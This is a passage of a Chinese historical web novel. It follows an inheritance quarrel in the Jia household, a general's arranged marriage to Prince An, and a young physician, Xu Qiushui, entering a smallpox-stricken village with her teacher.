贺得宝哼了一声。
忍冬拉过得宝的手说道:“不知为何,明明你我打闹与之前并无二样,可我总感觉你变了许多,心思沉稳了许多。若是你想说你就与我说说,若是不想,你就当我说了句胡话。”
贺得宝埋在忍冬肩上说道:“好姐姐,你也不必多问了。再过些日子,就都知道了。”
忍冬拍着得宝的肩问道:“是家中的事吗?”
贺得宝嗯了一声。
忍冬叹气道:“那我不问了。你休息会,我们给秋水她两写信。问问怎不寄些明州的特产来。怎就一句话将我们打发了。”
贺得宝擦了擦眼泪笑道:“确实该好好问问。”
贺得宝想着去年听见爹娘吵架得事情,心中甚是难过。
贺得宝本带了天香楼的特色糕点回家送去给娘亲,大娘站在院门口,想要将得宝拉走说道:“得宝,陪大娘去大娘房中说话,爹娘在聊木枋的事情,我们不要去打扰好不好。”
贺得宝假意答应后,又躲开大娘往院中跑说道:“大娘,你也来,我们一起吃。”
贺得宝在家属实宠溺过头,一点都没发现大娘脸色的慌张。得宝跑至院中听见屋里传来得宝娘亲一句怒吼:“你若觉得得宝无用,当日听了我的丢到湖里淹死了就是,何必假意留下,还取了个如此讨喜的名字。”
贺得宝听了这话,一时楞在原地。大娘更是慌张,赶忙接过得宝手中的篮子,拉着得宝往自己院中走。
将得宝拉在椅子上坐着之后,大娘急忙向得宝解释:“你娘亲只是在气头上,她不是那个意思。其他事你不知道,你不要怪你娘。”
贺得宝嗯嗯了几声一边哭一边说道:“大娘,我知道的。”
贺得宝哭了半天,后来不知怎的睡着了。大娘怕得宝休息的不够安稳,让仆人将房中帘子都放了下来,只留了窗旁一盏灯笼。虽是正午时分,却好似黄昏时刻。
得宝睡得迷迷糊糊之间,听见有人来的脚步身。又感觉那人坐至自己身边探了一下额头。
大娘叹了口气说道:“你怎的能说出那样的话呢?”
得宝娘说道:“我怎会知道她赶巧回来了。”
大娘说道:“她即使没听见,你也不可说那句话。这也怪我,见你们吵得吓人,就守在院前就是怕她来,却被她滑头躲过去了。”
得宝娘叹气道:“她如何了?”
大娘说道:“郎中来瞧了,说是一时气火攻心引起的发热与晕厥。还好身体算好的又比较年轻,好好休息几日也就好了。”
得宝娘擦了擦眼泪对大娘说:“你不怨我?”
大娘说道:“若我怨你,也早该怨完了,不必等到今日了。”
得宝娘说道:“若是怨我,也是改怨的。”
大娘又说道:“若芙,我知你傲气。若不是家中原先遭难,是不会看上那贺来财的。我也知你要的东西都是给得宝的,也是你应得的。可得宝还小,家中财库也由你在保管。你也不必如此着急。”
得宝娘摇摇头道:“姐姐,你是不会明白的。”
大娘叹气道:“那你想得宝如何?是称这次机会,待她醒了就告诉她,还是继续瞒着?”
得宝娘摸了摸得宝鬓角的头发说道:“告诉她吧,早些知道,今日就不会如此了。”
大娘说道:“我去厨房准备些吃食,你在此陪她,等她醒了一期吃些东西。”
大娘走去了主院,见贺来财父子三人一同在院中玉兰花树下,饮酒吃饭。今年的院中的花都开得十分娇艳饱满。风一吹院中各处都是各色的花瓣。这三人在此处,到是惬意极了。
大娘向得宝爹说道:“你何时得空去看看得宝?”
得宝爹皱着眉头摔了下筷子说道:
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“过些时日吧。”
大娘向大儿子贺斌问道:“二娘怎么惹得你们父亲如此生气?”
贺斌向大娘行礼道:“二娘想要三分之一的家产给得宝做陪嫁。”
大娘问道:“这是有何不可?”
贺斌还未说话,二儿子贺斐便张口说道:“娘,你怎么胳膊肘向外拐?我与大哥和得宝平分家产,传出去岂不是丢人。”
大娘厉声道:“这有何丢人?你们二娘没来之时,我们还没有现在家产的十分之一。如今你们还不满足吗?”
贺斐哼一声说道:“二娘没进门之前不过一个船妓,怎得还敢肖想三分之一的家产。”
贺斐话音刚落,得宝爹就一个巴掌打在贺斐脸上:“别太混账,她怎么说都是你的长辈。”
贺斐楞神片刻后说道:“你打我我也要说,我宁可你把所有家产都给大哥,我与贺得宝一分没有。我也不能接受那贺得宝和我门两兄弟分得家产一样。”
贺斌向贺来财说道:“二弟说得是些气话,我与二弟成婚多年,居住在外。多亏得宝与爹娘陪伴。我倒认为分三分之一家产给得宝无碍,不过不是嫁妆,而是用此招个上门女婿一直陪伴爹娘左右,儿子在外也可以放心二老。”
贺斐疑惑得看着大哥说道:“大哥?你怎么也如此糊涂?”
贺斌说道:“爹娘你们两先聊,待爹消气了再去看看得宝与二娘,我就与二弟先回去了。”
贺斌拉着贺斐向爹娘行礼后便走了。
在马车上贺斐气愤得看着贺斌说道:“大哥,你真愿意分那三分之一的家产出去?”
贺斌冷哼一身说道:“你真是一个蠢材,二娘虽是厉害,得宝却平庸至极。三分之一给得宝做嫁妆那是万万不可。如此数额的嫁妆,她要嫁的不是高官就是显贵。今后二娘必事事压我们一头。若是招个上门女婿,待到二娘老了,得宝与她相公也撑不住家业,那这全部家产不又都是我们的?”
贺斐恍然大悟道:“原来如此,还是大哥有远见。我今日这巴掌到是白挨了。”
贺斌说道:“到是也不算白挨,至少测出来了爹对二娘的感情。”
贺斐说道:“娘也真是老糊涂了,不为自己儿子着想,却帮得宝娘两说话。”
贺斌摇摇头道:“娘一肚子的菩萨心肠,她在高宅大院中待久了,岂会知道外面的险恶和钱财的重要性呢。”
贺斐附和道:“我看她啊,就是被猪油蒙了心。人家就算是亲儿子亲女儿也要偏儿子那便,她到好,到是帮着她非亲女儿了。”
贺斌呵斥贺斐道:“以后这些话你少说,不然不止是爹,就是我也要扇你了。”
贺斐说道:“大哥,怎么你也?”
贺斌皱眉,脸色不悦的看向贺斐,贺斐便安静了下来。
贺得宝与忍冬将信写好后,一同送给了金娘子后,便回了家,回家后总是想着前些日子里的事,还有之前在绣坊中的日子。一会擦泪一会笑的。
她不愿和她两位哥哥相争,却又不愿让娘失望。想要奋力达成娘的目标,却又更是无力。
若她是忍冬秋水有个好手艺,能靠刺绣或是医术养活好娘和大娘,娘亲是不是就不会如此操心。亦或者是祁多儿,有个好脑子,就可以帮助娘了。可惜她谁也不是,她是最无用的。
得宝越想越是难过,好想以前在绣坊的日子,好想与秋水多多一同去奉化,不要待在此处。得宝娘望着得宝房中久久不灭的灯,也是心中惆怅。
41. 爱之为计之深远
塞北的帐中,一盏灯也悠悠得燃着。不似中原地区入了春,风也柔了下来,此处的风还是呼啸着。中原的花还未开来此,地上还有最后一场未化完的雪。护送郝北泷的一行人回了军中。
郝风威望向魏定道:“她去梧州路上可有些怨言?”
魏定向郝风威行礼:“回元帅,郝将军一路并无怨言。只是舟车劳顿,在梧州水土不服,病了些日子。其他日子倒是神采奕奕。”
郝风威微皱着眉头,神色露出些许担忧:“路途是遥远了些,有些水土不服也不算稀奇。”
郝北还见郝风威面露担忧之色,便继续说道:“不过有幸遇见甄大龙甄二虎两位兄弟护送赴任的此期状元,还有同行着许春林的妹妹许秋水许医师。经过许医师诊治,又送了几贴滋补的药方,到也无碍。”
郝风威略带惊讶看向郝北环:“到是有听许夫长提过几回,这倒是可巧碰上了。”
郝北还道:“确实是巧,还有那位童子科上等的女子也这在一行人中,北泷与她相谈甚欢。”
郝风威点头道:“既她已到梧州,你们也都回来了,我也心安了。你们都先回去吧,魏定留下,我还有些事要问你。”
郝北还等人向郝风威行礼告退后,郝风威看向魏定:“你出去一番成长了许多,不似以前骄躁了。”
魏定答道:“到过的地方广阔了,见到的人多了,心就沉下了来了。”
郝风威道:“那既如此,我也可交托你一些事了。”
魏定向郝风威道:“定不负元帅所托。”
郝风威道:“现今虽是安定了,可总有些流寇侵犯民众,你近些日子先去探查一番,找出窝点在何处。有几处匪山。”
魏定眼神坚定,语气凌厉答道:“是,定不辱使命。”
郝风威赞许得看着魏定说道:“那今日你便早些回去休息,明日领队人马,前去巡视。”
魏定答道:“属下告退。”
父母之爱子则计之深远,对儿女如此,家国亦是。郝风威心中感慨万分,他不敢确信这三十年是否不会有大变故,也不敢确认他们心中所想是否能支撑他们这些人同舟共济,但如今既已迈出了第一步,那便只能博了。
郝北泷大婚之时,梧州城内大小各街道都被打扫一净。整个梧州城的屋子的屋檐下都被挂上了红灯笼,安王为与名同乐,城中主道请好些艺人表演节目。
酉时过半,送亲的队伍由驿站出发。一路皆有安王府中人燃放爆竹。待到戌时,送亲的队伍进入城中,便由爆竹又变为烟花,一路相迎,一时梧州城内夜如白昼。
待到安王府前,安王迎亲将郝北泷抱出轿子。
安王在郝北泷耳边轻声说道:“多年未见,只听得你的骁勇,无缘见你身着戎装。但老天对我不薄,能让你为我穿此嫁衣,我也此生无憾了。”
郝北泷轻声嗯了一声,她想起她与安王小时候还在京师之时。安王不得喜爱,又生得瘦弱,总被其他皇子欺负。如今却是健壮了不少,今日听轿子外的阵仗,想比在此已是颇有势力了。
行过礼后,郝北泷被送往房间。见安王还未来此,随行的婢女也都被安王府中的婢女一句“既远道而来,先同我们在门外吃些酒席。在待王爷回来进行仪式。”打发了出去。
便将盖头取下。环顾四周见书柜中央摆上了一把长剑。觉得无趣便取下观赏了一番,剑鞘为上等紫光檀,上装红铜浮雕,镶嵌红玛瑙用作点缀。出面如霜,刃露寒光,刀身用红绳缠绕。
郝北泷轻弹了一下剑身,声如龙鸣,应是名家打造。双面开刃,使剑之人必是一等的高手。见屋中既无人,便挥剑舞了起来。
郝北泷舞的正兴之时,听见屋外传来仆人们的通告:“王爷到!”
她便将长剑放于原处,又将盖头带上。
听门开后的脚步声,应是进来了二十来位丫鬟。
“新郎揭盖头,夫妻和顺到白头。”
安王接过婢女呈上的玉如意将郝北泷的盖头挑了起来,脸上是掩盖不住的笑意。
郝北泷望向安王,一双痴情桃花眼。棱角分明的五官又有几分凌厉,但那咧着嘴的笑,笑出来的几分傻气又将此完美中和。她心中本有几分惆怅,见安王此番摸样,心中一下痛快不少。
安王笑盈盈的望着郝北泷说道:“让娘子见笑了,娘子不必拘束,你若觉得好笑便笑吧。”
“喝过交杯酒,今生今世长相守。”
安王端起两杯酒杯。将其中一杯递给郝北泷。
两人喝了合卺酒后,一旁的婢女又呈上来一碗汤圆。安王拿起自己吃了一口。
婢女惊讶道:“王爷,此是给王妃吃的。”
安王笑道:“不必了,王妃远道而来,有些水土不服,需要调养些日子,吃不得这半生不熟的东西。后续的仪式都撤了吧。”
“是,王爷。”
待各婢女都走了后,安王说道:“你我虽多年未见,但算是故交,就不必生分了吧。”
郝北泷不悦得说道:“你想做何?”
安王低头笑了一声:“你可怕疼?”
郝北泷哼了一声:“我乃定北巾帼将军。这个不是什么公主王爷的花名,是我实打实的军功换来的。你可知你问的是什么?”
安王走向书柜,将柜子上的长剑拿了下来,又指了指床上的白布:“你刚拿过此刀了,应是知道这是一把双刃剑了,你当心些。弄几滴血到上面,莫划深了。”
郝北泷接过刀:“为何不是你来?”
安王到:“其一是我怕疼,其二我这王爷不过一个花名,你可是实打实的定北巾帼将军。”
郝北泷从安王手中躲过剑来,又将其反手按于床上,王爷惊呼:“你这是做甚?”
郝北泷右手拿剑抵住安王的后背,左手在安王双手手掌上仔细摸了一番。冷笑一声说道:“你在玩什么花样?你再是花言巧语,你手上的茧也骗不了人。”
安王笑道:“将军好武义,我不过是觉得故友相见不必动手。你若是不愿意,那我便来就好。”
郝北泷哼了一声后才将剑拿起,安王站起身后,整理了一番衣物,从郝北泷手中接过剑,在左手食指上划了一道,在床上白巾上沾了些血迹:“王府中人多眼杂,避免些麻烦罢了。你我既是故友,即使多年不见,你也不必如此生分。”
郝北泷并未答话。
安王拿着剑走向了书柜,取了手帕,将剑仔细擦拭一番后才放回原处。而后又去敲了敲窗,窗外站着两人,拿着好些吃食。安王唤道:“你快些来搭把手。”
郝北泷与安王一同将吃食拿了进来。
安王说道:“你今日也累了一天,想必是饿了,吃些东西吧。多年未见了,也不知你爱吃什么,就随意准备了些。都是些当地特色,白斩鸭,龙虎凤烩,鱼骨汤,荔浦芋头扣肉,清炒贡菜。你都试试。”
郝北泷说道:“你怎如此好心?”
安王笑道:“郝将军不必多疑,你我既然成婚了。我必是要对你好些的,当然你若
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有什么不爱吃的,我也不强求。你就全当多年好友重逢,就像是你偶遇甄家二兄弟一般。”
郝北泷皱眉问道:“你怎么知道?”
皇子果真不同一般人心境,甚是多心,智谋全在自己人身上。上阵杀敌皆是脓包,兄弟相争个个诸葛。
安王道:“皇上赏给你的八位侍女,有一位原先是我的人。”
郝北泷道:“你们皇子之间倒是谋略充足,你还知道些什么?”
安王举杯笑着饮了之后说道:“还知道你在军中有段情。”
郝北泷听此言,呛了一口,咳了好几声。
安王继续说道:“不必如此惊慌,我打探过了,那人确实样貌人品武义才略皆是上等,你眼光不俗。”
郝北泷回道:“你既如此了解我,王爷可否告知你有几段情?”
安王笑道:“一段,十五年前你替我揍了三皇子你可还记得?”
郝北泷思考了一番说道:“好像确有此事。”
那三皇子仗着母家权势滔天,目中无人,我甚是看不惯。还来多舌我,娘与我说,我年纪尚小,无理取闹一次也无妨。我便去了,谁知我还没动手几下,他便哭了,真是丢人现眼。
安王道:“那日起,我便决定要娶你为妻。”
郝北泷大笑了几声说道:“安王说笑了,那其他妻妾有多少呢?”
这安王在胡说些什么,我记得那日后,京师官宦家的孩子都离我数丈远。何况是你等皇子,怕都是避之不及吧
安王道:“此地民风彪悍,我治理此处到如今这种地步,可是花费我不少心血,怎还有时间有去寻花问柳。不过你来了,今后就好了。”
郝北泷皱眉问道:“我?”
安王点点头:“是,你。我既要训练厢兵,又要管理佃租地契。实在是分身乏术,今后你可去帮我训练厢兵。我专注佃租地契便好。”
郝北泷道:“你向皇上求娶我就是为此?”
安王摇头道:“是,但不止为此。我从小爱慕你是真,如今需要你也是真。可以说是一举两得。”
郝北泷摇头道:“我可帮你去训练厢兵,其他我不知如何说。”
安王道:“你不必说,我可以等。”
郝北泷问道:“那今后我们如何睡?”
安王笑道:“你既是实打实的将军,我是徒有花名的王爷,我就睡此床,你睡那罗汉床。被褥不用担心,我已备好了。”
郝北泷笑道:“你既如此斤斤计较,那便如此吧。”
安王给郝北泷夹了一块荔浦芋头:“你尝尝,此物最是出名。”
口感绵密如丝,入口即化。味如新蜜却不黏腻。郝北泷尝了后笑着向安王点头道:“实至名归。”
安王笑道:“待明日,你休息好了,我便带你将去梧州城中熟悉熟悉,之后再去熟悉军务。”
郝北泷点头道:“那就多谢王爷了。”
安王摇头道:“今后称呼王爷太过生分,你今后直称呼我的字文显即可。北泷不够亲切,私下就称呼你的小名阿眠如何?”
郝北泷点头道:“随意即可。”
安王听了郝北泷的答话,脸上是掩盖不住的傻笑,眼睛好似秋日湖泊,平静但有片片涟漪。心中也升起了一丝暖意,如暴风雨中停于岸边的船,危险但有依靠。
两人从小时趣事又聊到家国政见,相谈甚欢。经过一夜的畅聊,小时的记忆与如今的摸样终是穿上了线,两人是似一对重逢的故友,又似新结交的知己。
42. 前路危险仍愿行
甄二虎见大哥回来未带妻儿便问道:“不是要将大嫂接来,怎不见人呢?”
甄大龙道:“先进去,等会与楚参军一起说罢。”
楚云照见甄大龙就一人回来,心中便也明了了。但还是试探性问了一句:“只你一人来了?”
甄大龙点头道:“我今日是来辞行的,孩子太小,我家娘子不愿一同奔波。她盘下了一家豆腐铺子,打算以后做些小本生意过活。”
孩子太小了,心中实在舍不得。好不容过几天安定日子,也不想她们跟着自己受怕。如今太平了,能做些小本生意糊口,自己便也满足了。
楚云照点头道:“那既如此,我便不强留了。那甄大哥何时启程,待秋水回来,我们一同去酒云肴为你辞行。”
这甄大哥一走,若今后需要祁多儿外出探查,倒是麻烦许多。本想待到甄大哥回来,就让甄大哥与祁多儿去乡间探查一番。甄二哥虽武义不逊色甄大哥,可性子实在是颇为鲁莽了些。
甄大龙向楚云照行礼道:“多谢楚参军,我明日便启程回京,我先去将东西收拾一番。”
甄二哥见大哥告退也向楚云照行礼道:“我先去帮大哥收拾一番,参军放心,我定不负参军。”
大哥这怎得回去一趟就变了卦,原先是要接来大嫂,这下可好,把自己给送了回去。
甄二虎随甄大龙回了屋,甄二虎问道:“怎回去一趟,就不愿留下了。”
甄大龙收拾着东西说道:“你没见到你侄女,实在是可爱极了。她若是跟着我们奔波,太劳累了些。”
我本是想接过来,可楚参军又如此清廉刚正,今后若是得罪了人。不想还好,想了这许多,便是不敢来了。
甄二虎无奈道:“既然如此那也好,那豆腐铺子的活计够生活吗?”
甄大龙点头道:“日子虽说清贫了些,但一家人在一起终归是好的。今后得空你也常回家看看。”
甄二虎叹气道:“咱哥两今后算是天各一方了。”
甄大龙拍了拍甄二虎的肩:“你也早日成个家,你嫂子还问我了,要你遇见如意的就写信告诉家里,家里给你准备婚房。”
甄二虎道:“那你替我多谢大嫂。”
哎,成家总是多顾虑,还是一人潇洒的好。
甄二虎与甄大龙将东西收拾好后,便与楚云照和祁多儿一同前去酒云肴等待秋水前来。
还未出发,青文便上门求见楚云照:“秋水因外出诊病偶感风寒,今日便不回来了。”
楚云照问道:“严重否?”
青文摇头道:“修养两三日便好,不必担心。既已告知,那我便走了。”
楚云照叹了一口气,望向甄大龙:“多谢青文师弟。”
甄大龙心想秋水与这多儿都是性子执拗之人,虽行路坎坷,但也广阔。
楚云照又向青文细问了几句秋水的情况,确认只是些风寒感冒,无甚大事后,便前往酒云肴为甄大龙饯别了。
青文与他们告别后,回了安和堂。秋水躺在床榻上,徐医师说道:“已退了热,明日让她回去休息几日再来吧。”
酒疯子担忧的看着秋水,向徐医师问道:“怎突然发此高烧,是不是你太过严厉了。”
徐医师将手中抓取的药往药柜一丢:“不过是才来此不适应,又连日奔波,累着了罢了,休息几日便好了。”
酒疯子饮了一口酒,啧了一声后:“这岂不就是你太过严厉了。”
徐医师:“知禾当年一人踏遍南北,她若是这几里路奔波一番就病倒了。就莫要学医了,回去还是拿上针线绣花的好。”
许秋水听此言猛地挣了起身:“我不必休息。”
徐医师望向酒疯子笑了笑:“你看,这不还是生龙活虎的吗。”
酒疯子走至徐神医身边轻声说道:“你这平白无故非要吓她做甚?”
徐医师摇头道:“不吓吓,她又怎知心中所求呢。”
酒疯子叹了一口气:“你还是悠着点。”
知禾当年也是如此么?受苦这么多年,却因为我全都白费了。
徐医师不屑的看着酒疯子:“你喝酒才需悠着点。”
这老不死得,自己的事不操心,自己儿子也不管,到来管我教徒弟了。这楚知求也是,心态还未给这孩子教好啊。
徐医师将锅中的热汤给许秋水盛了一碗,递给了秋水:“醒了就吃点热汤,你青书师兄今早打的鸽子,你快喝了补补身子。你明日休息好了回去休息两日,再与我一同去周家村问诊,你看可行?”
秋水接过汤,望向徐医师说道:“我后日便来,不必休息两日。”
徐医师道:“不必急于一时,我与你青文青书师弟先备些药材。我两进庄看病问诊可得有些时日,你回去与楚云照好好说道说道。”
还不知楚云照是否能让你去,若你能去,那便你我师徒二人前去诊病。若不行便只能让青书与我同去了。
秋水喝了一口汤,又抬头望向许医师:“可有缺的药材,除去上次带来的,师父之前给我送了许多。”
徐医师思索一番后说道:“明日若有需要,我便让青书去你那里取来。”
这楚云照不愧是京师的,出手就是阔绰。早知当时就不应二百两银子就答应他的请求,实在是大亏。
秋水点点头,她迫切的希望有一个机会能大展身手。能不负师父所授。她不知她为何如此着急,可她确实是能明明白白的感觉到自己在苍天渴求一次时机。
秋水等到天亮便想要出发,可徐医师说今日雾大,还是吃过饭,待到雾气散了再出门。秋水便在医馆一同整理了会药方。吃过饭后便启程回了。
秋水刚回去,就见一辆马车从门口而过。走近了府门,楚云照与楚府上下的人都在门口,正要问是为何都在此处。
甄二虎见秋水回来,呼道:“你这倒是不巧了,我哥昨日回来,你得了病未归。今日回了,我哥也就刚走了。”
秋水望向马车刚走的方向:“原来那是甄大哥,那为何刚回又要走?”
楚云照答道:“甄大哥家中盘下了一个豆腐铺面,今后便打算做些小生意过活了。你今日回来了,何时再去安和堂?”
秋水道:“徐师父要我休息两日,再与他一同前去周家村治病救人。可能要在那里待些日子,所以特意交代让我回来告知与你。”
楚云照看向祁多儿:“周家村?”
祁多儿点头道:“应就是那个周家村了,你可知周家庄出了何病症?”
这周家村处在两县之间,这两日多人感染了天花,无人敢也无人想接手,只两县各派了些人马不许他们出入。
许秋水答道:“天花,所以徐师父要与我在村中待些时日。待到他们好了才可回来。”
楚云照望向祁多儿:“你与秋水先回去休息,待晚饭时我们再做商议。”<
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来之时舅舅告知过我,要照顾她们,但不可拘束她们。可这又着实危险。
许秋水与祁多儿一同回了房间,祁多儿担忧的拉着秋水的手:“你当真要去?”
许秋水安慰祁多儿道:“不必担忧,我虽对救治那些人无甚经验。但让自己不被传染,倒是不难。”
祁多儿生气地将许秋水的手甩开:“你这不是哄我吗,谁不知天花之危险。”
我知你之难,可我确实不愿你去犯险。
许秋水急忙解释道:“非也!虽是无准确的医治之法。但确实已确认天花是由口鼻入侵,所以用药熏蒸绢布,在晒干,用以遮住口鼻。而后将接触病患之处洗净再取下面罩,便可不会传染了。”
祁多儿狐疑的看着许秋水:“你发誓,不是为了让我安心所以骗我的。”
许秋水叹了口气:“我们等会去问云照师哥,让他为我作证。”
祁多儿听此,也算是相信了大半:“那这药泡了的绢布,你们备了多少?”
许秋水摇头道:“这我到未问。”
祁多儿又问道:“这绢布可一直使用么?”
许秋水仍是摇头:“需得无破损,每日用过之后得用沸水煮过。”
祁多儿叹气道:“你将绢布如何处理的方法教授与我,还有你进去之后,得病之人有多少,未得病之人又有多少。需要药材多少,通通告知我,我在外为你准备。”
许秋水点头道:“我记住了。”
祁多儿又叹气道:“你这虽是个小风寒,也得休息。我就不打扰你了,待到晚饭,我再来唤你。”
许秋水点点头,送走祁多儿后,就想在床上躺会缓缓神,哪知一觉便到了黄昏。
许秋水见祁多儿没来喊醒她,便自己起身去院中。见屋外霞光普照,红色由紫色处留出,染尽了天,又落在地上。
许秋水到了主院中,楚云照面无表情,严肃得问道:“你一定要去周家村?”
这两师妹的性子是一个比一个的倔,不知舅舅是何想法,竟让我看管她们。
许秋水向楚云照行礼答道:“是,一定要去。”
楚云照面色更为不善:“可你若是进去了,病情未完全清除之时,是不会放任何一人出来的,你可明白?即使是我也不能将你放出。”
许秋水面色丝毫未改:“我知,这为我心中所愿。若病患未痊愈,我便必不出村。”
楚云照叹气道:“那你便去吧,祁师妹,今日你从库房中寻出了多少棉布?这两日天晴,能否将其都做成面罩?”
祁多儿答道:“共有棉布十六匹,这两日,连日赶工应能赶制其中一半。”
楚云照点头道:“一半也可,先做了些送进去,今后再慢慢做了补便好。”
楚府这边做着棉布面罩,安和堂配着药方。两日后几人一同道了周家村口。
徐神医拦下秋水:“我原先只是试试你罢了,你就不必跟着进去了。青书与我同去便好,你与青文在外等我消息进行配药。”
这孩子机灵聪慧,又心思耿直。实在是个好孩子,若这次能成,必要出来好好教导她,真是可惜此等好苗子,竟让楚知求先抢了去。
许秋水低头道:“请徐师父让我与你同去。”
青书拉着秋水:“师父也是为你好。”
许秋水面色不改,语气倔强:“我有不得不去的理由,徐师父,你请附耳。”
43. 口食黄连心有浊(一)
徐医师听秋水一言甚感惊讶,这送死一般的路,还有非去不可的理由?
徐医师跟着秋水走至了一旁,秋水轻声问道徐医师:“你可有十成十的把握将人治好?”
他虽心中已有一些药方,可未确实在病患身上用过,自己也不敢断言。只好摇头。
许秋水便笑道:“那就好。”
徐医师疑惑道:“那有何好?”
许秋水答道:“你虽无十成十的把握救治,可我有十成十的把握可以出来。”
徐医师道:“你怎知你可出来?”
许秋水抬头望向徐医师一笑:“若是未能在他们的期限中救治,你可因为是德高望重的名医放出,可青书不行。而我是禁军的马军都虞候的妹妹,不看僧面看佛面,我是自然可以出来的。”
徐医师听此点头道:“这倒确实有理。”又思考了一番问道:“你怎知会有期限?”
官府允了我六月,六月为限,若是治好了便可恢复如初。若是不好,那便将此处永远用作天花村,今后只许入不许出。我也这把年纪了,在里在外无甚不同,但他们还年轻,确实不能同我一博。
许秋水笑道:“开始不知,如今知道了。”
徐医师恍然大悟:“不愧是楚知求那鬼才所收之徒,心思也古怪机灵的很。”
许秋水向徐医师行礼:“徐医师谬赞了,你可否带我进去呢?”
徐医师:“我觉得甚可,你师父楚知求能同意否?”
这小姑娘倒是比青书机灵不少,可若她折我手中,楚知求定是要来此索命了。
许秋水道:“徐师父但请放心,师父已将我全权交给云照师哥照料·,云照师哥既已同意,那师父也无二话。”
徐医师道:“那告知他们后,你便同我上山。”
楚云照见两人走了回来:“徐师父可安排好了,究竟是何人与你同去。”
徐医师道:“秋水与我同去。”
楚云照向许医师行礼道:“那便辛苦徐医师多多照顾了。”
徐医师:“秋水接过东西,我们走吧。”
两人一同去了周家村内部,村口立着块石碑上写周家村三个大字,有几个几岁的娃娃在路边玩耍见徐医师与秋水来了,便一边喊着“村外来人了。”一边往家跑。
许秋水茫然的看着那几个光屁股跑的小孩,空气中传来阵阵饭香。有几家的村口还晾晒着衣服,除了这路上冷清了些,到是与一般村庄别无二样。
那几个小孩从村口一直跑到村尾,听见那几个小孩的呼喊。村中一群精壮小伙拿着铁锹,镰刀锄头气势汹汹向他们走了过来,粗略估计得有一百来人。
见来者不善,徐医师将秋水挡于身后,那些精壮小伙见来着只是一老一小。一时也不知如何动作,只忽的泄了气似的交头接耳些什么。
其中一人说道:“那位老的,好像是安和堂,徐神医。”
领头那人便向徐医师问道:“我是周家村的周大勇,不知来着是谁?来此是为何事?”
徐医师行礼道:“我乃安和堂徐淼,这是我的徒儿许秋水。特意前来周家村,为乡亲们诊病。”
那领头的急忙将手中刀具递给旁人:“快请徐神医,年丰,年收,你两快帮徐神医拿东西。徐神医你先同我去我家先吃饭。”
那两人接过徐神医拉的推车,又要帮忙拿徐神医的药箱。徐神医急忙摆手:“此药箱不可离身,就不必了。先带我们去看病人在何处,有多少人?”
周大勇叹气道:“周家村共有一百三十五户人家,一百多人患病,几乎涵盖整个村,你们见到的就是村庄仅有的未得病的青壮年了。”
徐医师问道:“你等为何都持刀相见?”
周大勇哎了一声道:“神医舍命而来,那我也如实相告。这村外被围了个严实,我们也都商量好了,若他们在外,我们能混得一日就一日过了。若是他们一日都容不得我们,那就拼了这命,杀一保本,杀多稳赚了。”
徐医师点头道:“此言也无不可,那些病人如今都安置在何处呢?”
周大勇道:“各自家中,有些在院外新建了一间草房,有的就搭了一件草棚安置着。”
秋水心想,这人真是狠心,就搭间草棚安置在外面。
徐医师问道:“那村中可有广阔些的地方,将这些病人集中安置。”
周大勇道:“倒是有,祠堂应该可容下这些人,神医可同我一起去看看。”
周大勇旁一人说道:“这祠堂让那些脏病之人进入,可不是玷污祖宗。”
周大勇呵道:“周有余,你他娘的,神医说什么就是什么。你这时候还管玷不玷污祖宗,若不是神医来此,我们都得等着见祖宗。”
一旁人也附和道:“他妈的命都要没有了,还管什么?”
周大勇连忙请徐神医去往祠堂,祠堂宽广,又正好有内堂外堂两间屋子。内堂将牌位撤去可供女病患,外堂将杂物搬走可安男病患,两屋之间有一院子用以煎药。祠堂之外有大片空地也可做晾晒之用。
徐医师向周大勇说道:“你先找些人马,将祖先灵牌好好请出放置到其他地方,还有些杂物清理走,再到院中支起一个大缸,祠堂外先搭建起来一些小火炉。”
周大勇:“全听徐神医指挥。”
徐神医又问:“你可号召几人将病患抬于此处?”
周大勇:“神医需要多少人都可。”
徐医师将马车上所装面罩的包裹打开,又与周大勇说明了如何使用,以及需要注意的各种情况。尤其警告周大勇将病患搬于祠堂之时千万当心,不可碰撞使其身上的水泡破裂。
徐医师让人先备好各自搬完病人的衣物。又在祠堂外支了一口大缸,用以烧沸水,病患抬至祠堂后。抬人着先用清水洗净再将衣物都丢于沸水中煮过再进行晾晒。取上原先备好的衣物再离开。
病患共有一百二十人,轻症发热着十八人,重症水泡破裂,全身水肿,眼耳失聪着二十人,其余人等是些不同程度的皮疹水泡与关节疼痛。
许秋水在院中看着搬着病人的担架进进出出,身上的药味逐渐抵挡不住病患身上的臭气。先前几位只是些皮疹水泡的,她便已觉得有些骇人。如今又抬得一个全身水肿的。整个人如同一个发过头的面团,又像是在水里泡了七八天,整个人都鼓了起来。
秋水看着直犯恶心,想要出去吐上一会儿。徐医师递来一竹管水说道:“喝下去,
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你既是自己要来,就不可如此。”
待病人都送来后,徐医师选了五位自愿留下的来帮忙,花嫂、桥柯姐、柳嫂、林嫂、周来雨。
徐医师给每人分发了一包药粉:“将这用鼻子吸食,这可保你们即使被传染病症也不至死。”
秋水等人接过药方后,按照徐医师的说法将药服用了。
花嫂、林嫂都是为自家丈夫而留,柳嫂是因自己一双儿女都在此处了。桥柯姐是这周家村新嫁进来的娘子,她的丈夫也在此感染了。花嫂、林嫂年纪最大,四十出头。柳嫂二十七八得年纪。桥柯姐今年才不过十九。
花嫂、林嫂二人都劝桥柯姐早些回去,说自己孩子都已成人今后只有这丈夫陪伴,所以只好来此照顾,可她年纪尚轻,不必将自己搭进去,她两可替她照顾丈夫,若是不幸,她也好改嫁。可桥柯姐不愿,也是,这新婚夫妻自是感情深厚些。
唯一一位十七八的男子,因他父亲早逝,他母亲一人将他拉扯大。如今母亲感染此等疾病,他便不愿一人在家,硬要留下了。
院中支起来了两口大锅,徐医师提来了用纱布包着的一大一小两袋药。将其中大袋交给了秋水:“病患太多,就大锅统一熬制就好。我年纪大了,腰不好。这大袋的药方就交于你了你若掌握不好,便来叫我,注意搅拌,莫让药糊了。”
秋水心想徐师父莫不是真是糊涂了么,大小药都是熬制同一时间,这小袋药岂能省力。不过也不必如此较真,他既要小袋的,那便如此吧。
秋水接过药,放入锅中熬煮向徐医师问道:“内有黄连、炒曼荆自、连翘、防风,这是黄连上清解毒药?”
徐医师道:“然也。”
秋水又问道:“徐师父你那是何药方?”
徐医师道:“黄连有浊安神方。”
秋水皱眉,望向徐医师道:“这药方我怎未曾听过?”
徐医师笑道:“没听过好啊,若是都听过,我岂不是无甚可教你了。近日要忙上些日子,我无空告知。待到我们出去,我便好好告知你。”
秋水搅着药:“如此也好。”
待到两人熬完药,徐医师说自己要亲自喂那几位重症的,不要他们掺和,甚至也不让秋水碰那药。
